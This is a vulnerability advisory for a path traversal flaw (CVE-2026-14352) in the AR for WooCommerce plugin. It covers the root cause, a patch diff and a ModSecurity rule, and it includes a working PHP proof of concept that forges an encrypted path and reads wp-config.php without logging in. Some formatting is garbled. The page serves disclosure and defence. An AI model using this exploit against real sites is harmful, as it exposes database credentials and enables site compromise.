Published : July 2, 2026

CVE-2026-14352: AR for WooCommerce <= 8.40 Unauthenticated Path Traversal to Arbitrary File Read via 'file' Parameter PoC, Patch Analysis & Rule

Severity High (CVSS 7.5)
CWE 22
Vulnerable Version 8.40
Patched Version 8.41
Disclosed July 1, 2026

Analysis Overview

{
“analysis”: “Atomic Edge analysis of CVE-2026-14352:nnThis vulnerability allows unauthenticated attackers to read arbitrary files on the server via a directory traversal attack in the AR for WooCommerce plugin for WordPress, versions up to and including 8.40. The affected component is the secure download mechanism, specifically the file served by ‘ar-secure-download.php’ through the ‘file’ parameter. The vulnerability has a CVSS score of 7.5, indicating high severity.nnRoot Cause: The root cause is a failure of three intended access controls. First, the nonce check in ‘ar-secure-download.php’ validates a nonce with action ‘ar_secure_nonce’, but unauthenticated attackers can mint valid nonces by calling the AJAX handlers ‘ar_get_fresh_nonce’ and ‘ar_process_user_image’ (both nopriv, meaning no authentication required). Second, the AES-256-CBC encryption key was derived via ‘get_option(‘ar_licence_key’)’, which on free installations returns false, producing a predictable key that attackers can use to encrypt their own path payloads. Third, the Referer header check could be trivially bypassed by setting the Referer header to the site’s home URL. After encryption, the ‘file’ parameter in the URL to ‘ar-secure-download.php?file=ENCRYPTED_PAYLOAD’ is decrypted and used to construct a file path without proper validation, allowing directory traversal.nnExploitation: An attacker first obtains a valid nonce by making an unauthenticated POST request to ‘/wp-admin/admin-ajax.php’ with action=’ar_get_fresh_nonce’. Then, using the predictable encryption key (from the default license key), the attacker crafts an encrypted payload that contains a path traversal string (e.g., ‘../../wp-config.php’). The attacker then requests ‘/wp-content/plugins/ar-for-woocommerce/includes/ar-secure-download.php?file=ENCRYPTED_PAYLOAD&_wpnonce=VALID_NONCE’. The plugin decrypts the payload, appends it to the uploads base directory, but fails to validate the path, allowing reading of any file on the server, including ‘wp-config.php’ with database credentials.nnPatch Analysis: The patch introduces several security improvements. A new function ‘ar_get_secure_download_secret()’ generates and stores a random 64-character secret in the WordPress options table, replacing the predictable ‘ar_licence_key’. A new function ‘ar_validate_secure_download_path()’ performs strict validation: it rejects null bytes, normalizes directory separators, blocks absolute paths and directory traversal (‘..’), restricts file extensions to ‘gltf’, ‘glb’, ‘usdz’, and ensures the resolved path is within the uploads directory. The nonce action is changed from ‘ar_secure_nonce’ to ‘ar_secure_download_nonce’, and the base64 decode now uses strict mode (returning false on invalid input). The ‘ar_is_within_wordpress_install’ function now only allows files from the uploads directory, removing the broader home_url check.nnImpact: Successful exploitation allows an unauthenticated attacker to read arbitrary files from the server’s filesystem. This can expose sensitive information such as WordPress configuration files (wp-config.php) containing database credentials, API keys, and salts, potentially leading to full site compromise, data breaches, or lateral movement within the hosting environment.”,
poc_php”: “// Atomic Edge CVE Research – Proof of Conceptn// CVE-2026-14352 – AR for WooCommerce <= 8.40 – Unauthenticated Path Traversal to Arbitrary File Read via 'file' ParameternnWordPress site URLnn// Step 1: Get a fresh nonce (unauthenticated)n$admin_ajax = $target_url . '/wp-admin/admin-ajax.php';n$nonce_response = file_get_contents($admin_ajax . '?action=ar_get_fresh_nonce');nif ($nonce_response === false) {n die('Failed to get nonce');n}n$nonce = trim($nonce_response);necho "Got nonce: $nonce\n";nn// Step 2: Prepare the path traversal payload (e.g., read wp-config.php)n$target_file = '../../wp-config.php';nn// Step 3: Derive the encryption key (same as plugin on free installations)n// The key is derived from get_option('ar_licence_key'), which returns false on free installationsn// hash('sha256', '') produces the same keyn$key = substr(hash('sha256', '', true), 0, 32);nn// Step 4: Encrypt the file path using AES-256-CBCnfunction encrypt_file_path($file_path, $key) {n $iv = openssl_random_pseudo_bytes(openssl_cipher_iv_length('AES-256-CBC'));n $encrypted = openssl_encrypt($file_path, 'AES-256-CBC', $key, 0, $iv);n if ($encrypted === false) {n return false;n }n return base64_encode($iv . '::' . $encrypted);n}nn$encrypted_payload = encrypt_file_path($target_file, $key);nif ($encrypted_payload === false) {n die('Encryption failed');n}necho "Encrypted payload: $encrypted_payload\n";nn// Step 5: Make the request to read the filen$download_url = $target_url . '/wp-content/plugins/ar-for-woocommerce/includes/ar-secure-download.php';n$ch = curl_init();ncurl_setopt($ch, CURLOPT_URL, $download_url . '?file=' . urlencode($encrypted_payload) . '&_wpnonce=' . $nonce);ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);ncurl_setopt($ch, CURLOPT_HEADER, false);ncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);n// Set Referer header to bypass referer checkncurl_setopt($ch, CURLOPT_REFERER, $target_url);n$response = curl_exec($ch);n$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);ncurl_close($ch);nnecho "HTTP Code: $http_code\n";nif ($http_code == 200 && !empty($response)) {n echo "Response (truncated to 1000 chars):\n";n echo substr($response, 0, 1000) . "\n";n} else {n echo "Failed to read file. Response: $response\n";n}n",
"modsecurity_rule": "# Atomic Edge WAF Rule – CVE-2026-14352n# Block path traversal attempts via direct file access to ar-secure-download.phpnSecRule REQUEST_URI "@streq /wp-content/plugins/ar-for-woocommerce/includes/ar-secure-download.php" \n "id:20261435,phase:2,deny,status:403,chain,msg:'CVE-2026-14352 – AR for WooCommerce Path Traversal Attempt',severity:'CRITICAL',tag:'CVE-2026-14352'"n SecRule ARGS:file "@rx [.]{2}/" "chain"n SecRule ARGS:file "@rx [.]{2}/"
}

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/ar-for-woocommerce/ar-woocommerce.php
+++ b/ar-for-woocommerce/ar-woocommerce.php
@@ -3,7 +3,7 @@
  * Plugin Name: AR for WooCommerce
  * Plugin URI: https://augmentedrealityplugins.com
  * Description: AR for WooCommerce Augmented Reality plugin.
- * Version: 8.40
+ * Version: 8.41
  * Requires at least: 5.5
  * Requires PHP: 7.4
  * Author: Web and Print Design
--- a/ar-for-woocommerce/includes/ar-secure-download.php
+++ b/ar-for-woocommerce/includes/ar-secure-download.php
@@ -17,6 +17,19 @@
 }

 /************* Function to decrypt the file path *******************/
+if (!function_exists('ar_get_secure_download_secret')){
+    function ar_get_secure_download_secret() {
+        $secret = get_option('ar_secure_download_secret');
+
+        if (!is_string($secret) || strlen($secret) < 32) {
+            $secret = wp_generate_password(64, true, true);
+            update_option('ar_secure_download_secret', $secret, false);
+        }
+
+        return $secret;
+    }
+}
+
 if (!function_exists('ar_decrypt_file_path')){
     // Function to decrypt the file path
     function ar_decrypt_file_path($encrypted_data, $key) {
@@ -24,7 +37,11 @@
         $key = substr(hash('sha256', $key, true), 0, 32);

         // Decode the encrypted data
-        $data = base64_decode($encrypted_data);
+        $data = base64_decode($encrypted_data, true);
+        if ($data === false) {
+            return false;
+        }
+
         $parts = explode('::', $data, 2);

         if (count($parts) < 2) {
@@ -33,41 +50,72 @@

         $iv = $parts[0];
         $encrypted = $parts[1];
+
+        if (strlen($iv) !== openssl_cipher_iv_length('AES-256-CBC')) {
+            return false;
+        }

         // Decrypt the file path
         return openssl_decrypt($encrypted, 'AES-256-CBC', $key, 0, $iv);
     }
 }
+/************* Function to validate a decrypted uploads path *******************/
+if (!function_exists('ar_validate_secure_download_path')){
+    function ar_validate_secure_download_path($file_path, $allowed_directory) {
+        if (!is_string($file_path) || $file_path === '' || strpos($file_path, "") !== false) {
+            return false;
+        }
+
+        $file_path = str_replace('\', '/', $file_path);
+
+        if (preg_match('#(^/|^[A-Za-z]:|://)#', $file_path) || preg_match('#(^|/)..(/|$)#', $file_path)) {
+            return false;
+        }
+
+        $valid_extensions = array('gltf', 'glb', 'usdz');
+        $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
+        if (!in_array($ext, $valid_extensions, true)) {
+            return false;
+        }
+
+        $allowed_directory = realpath($allowed_directory);
+        if (!$allowed_directory) {
+            return false;
+        }
+
+        $full_file_path = realpath($allowed_directory . '/' . ltrim($file_path, '/'));
+        if (!$full_file_path || !is_readable($full_file_path)) {
+            return false;
+        }
+
+        $allowed_directory = rtrim(wp_normalize_path($allowed_directory), '/') . '/';
+        $full_file_path_normalized = wp_normalize_path($full_file_path);
+
+        if (strpos($full_file_path_normalized, $allowed_directory) !== 0) {
+            return false;
+        }
+
+        return $full_file_path;
+    }
+}
 /************* Function to validate and serve the request *******************/
 if (!function_exists('ar_validate_and_serve_file')){
     function ar_validate_and_serve_file($encrypted_file_path) {
         // Define the secret key for encryption/decryption
-        $secret_key = get_option('ar_licence_key'); // Change this to a secure key
+        $secret_key = ar_get_secure_download_secret();

         // Decrypt the file path
         $file_path = ar_decrypt_file_path($encrypted_file_path, $secret_key);
+        if ($file_path === false) {
+            wp_die('Invalid file request.');
+        }

         // Get the uploads directory path dynamically
         $uploads_dir = wp_upload_dir(); // Get the upload directory information
         $allowed_directory = $uploads_dir['basedir']; // Base directory for uploads
-        $full_file_path = $allowed_directory . '/' . $file_path;
-
-        // Referrer Check: Ensure the request is coming from a valid source
-        $referer = isset($_SERVER['HTTP_REFERER']) ? sanitize_text_field(wp_unslash($_SERVER['HTTP_REFERER'])) : '';
-        $valid_referer = home_url(); // You can set this to your site's URL or specific referrers
-
-        if (strpos($referer, $valid_referer) !== 0) {
-            wp_die('Unauthorized access');
-        }
-        if (file_exists($full_file_path)) {
-            // Sanitize the file path to ensure it's safe.
-            $full_file_path = realpath($full_file_path);
-
-            // Check if the file exists and is readable before proceeding
-            if (!$full_file_path || !is_readable($full_file_path)) {
-                wp_die('File not found or inaccessible.');
-            }
+        $full_file_path = ar_validate_secure_download_path($file_path, $allowed_directory);

+        if ($full_file_path) {

             // Prevent caching
             header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0');
@@ -92,7 +140,7 @@
     }
 }
 // Verify the nonce before processing
-if ( ! isset( $_GET['_wpnonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_GET['_wpnonce'] ) ), 'ar_secure_nonce' ) ) {
+if ( ! isset( $_GET['_wpnonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_GET['_wpnonce'] ) ), 'ar_secure_download_nonce' ) ) {
     // If the nonce is invalid, stop the process
     wp_die( __( 'Security check failed.', 'ar-for-woocommerce' ) );
 }
--- a/ar-for-woocommerce/includes/ar-secure-url-generate.php
+++ b/ar-for-woocommerce/includes/ar-secure-url-generate.php
@@ -7,6 +7,19 @@


 /************* Encrypt the file path *******************/
+if (!function_exists('ar_get_secure_download_secret')){
+    function ar_get_secure_download_secret() {
+        $secret = get_option('ar_secure_download_secret');
+
+        if (!is_string($secret) || strlen($secret) < 32) {
+            $secret = wp_generate_password(64, true, true);
+            update_option('ar_secure_download_secret', $secret, false);
+        }
+
+        return $secret;
+    }
+}
+
 if (!function_exists('ar_encrypt_file_path')){
     // Function to encrypt the file path
     function ar_encrypt_file_path($file_path, $key) {
@@ -28,11 +41,10 @@
 /************* Check if the URL is within the WordPress installation *******************/
 if (!function_exists('ar_is_within_wordpress_install')){
     function ar_is_within_wordpress_install($url) {
-        $home_url = home_url(); // Get the base URL of the WordPress installation
         $upload_dir = wp_upload_dir(); // Get the upload directory path
         $upload_base_url = $upload_dir['baseurl']; // Base URL of the uploads directory
-        // Check if the URL starts with the base URL or uploads base URL
-        return strpos($url, $home_url) === 0 || strpos($url, $upload_base_url) === 0;
+        // Secure downloads only serve files from the uploads directory.
+        return strpos($url, trailingslashit($upload_base_url)) === 0;
     }
 }

@@ -40,7 +52,7 @@
 if (!function_exists('ar_is_valid_file_extension')){
     function ar_is_valid_file_extension($file_path) {
         $valid_extensions = array('gltf', 'glb', 'usdz');
-        $ext = pathinfo($file_path, PATHINFO_EXTENSION);
+        $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
         return in_array($ext, $valid_extensions);
     }
 }
@@ -50,11 +62,11 @@
     function ar_get_secure_model_url($file_url) {
         global $ar_plugin_id;
         if ((get_option('ar_licence_valid')=='Valid') AND (get_option('ar_secure_model_urls')==1)){
-            $secret_key = get_option('ar_licence_key');
+            $secret_key = ar_get_secure_download_secret();
             // Check if the URL is within the WordPress installation and encrypt it
             if (ar_is_within_wordpress_install($file_url)) {
                 $uploads_dir = wp_upload_dir();
-                $uploads_url = $uploads_dir['baseurl'].'/';
+                $uploads_url = trailingslashit($uploads_dir['baseurl']);
                 // Extract the upload path from the URL
                 $file_path = str_replace($uploads_url, '', $file_url);
                 // Check if the file is from galllery builder
@@ -64,7 +76,7 @@
                 }elseif (ar_is_valid_file_extension($file_path)) {
                     // Check if the file extension is valid
                     $encrypted_file_path = ar_encrypt_file_path($file_path, $secret_key);
-                    $nonce = wp_create_nonce('ar_secure_nonce');
+                    $nonce = wp_create_nonce('ar_secure_download_nonce');
                     $secure_url = site_url('/wp-content/plugins/'.$ar_plugin_id.'/includes/ar-secure-download.php?file=' . urlencode($encrypted_file_path) . '&_wpnonce=' . $nonce);
                 } else {
                     // Use the original URL if the file type is not valid

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.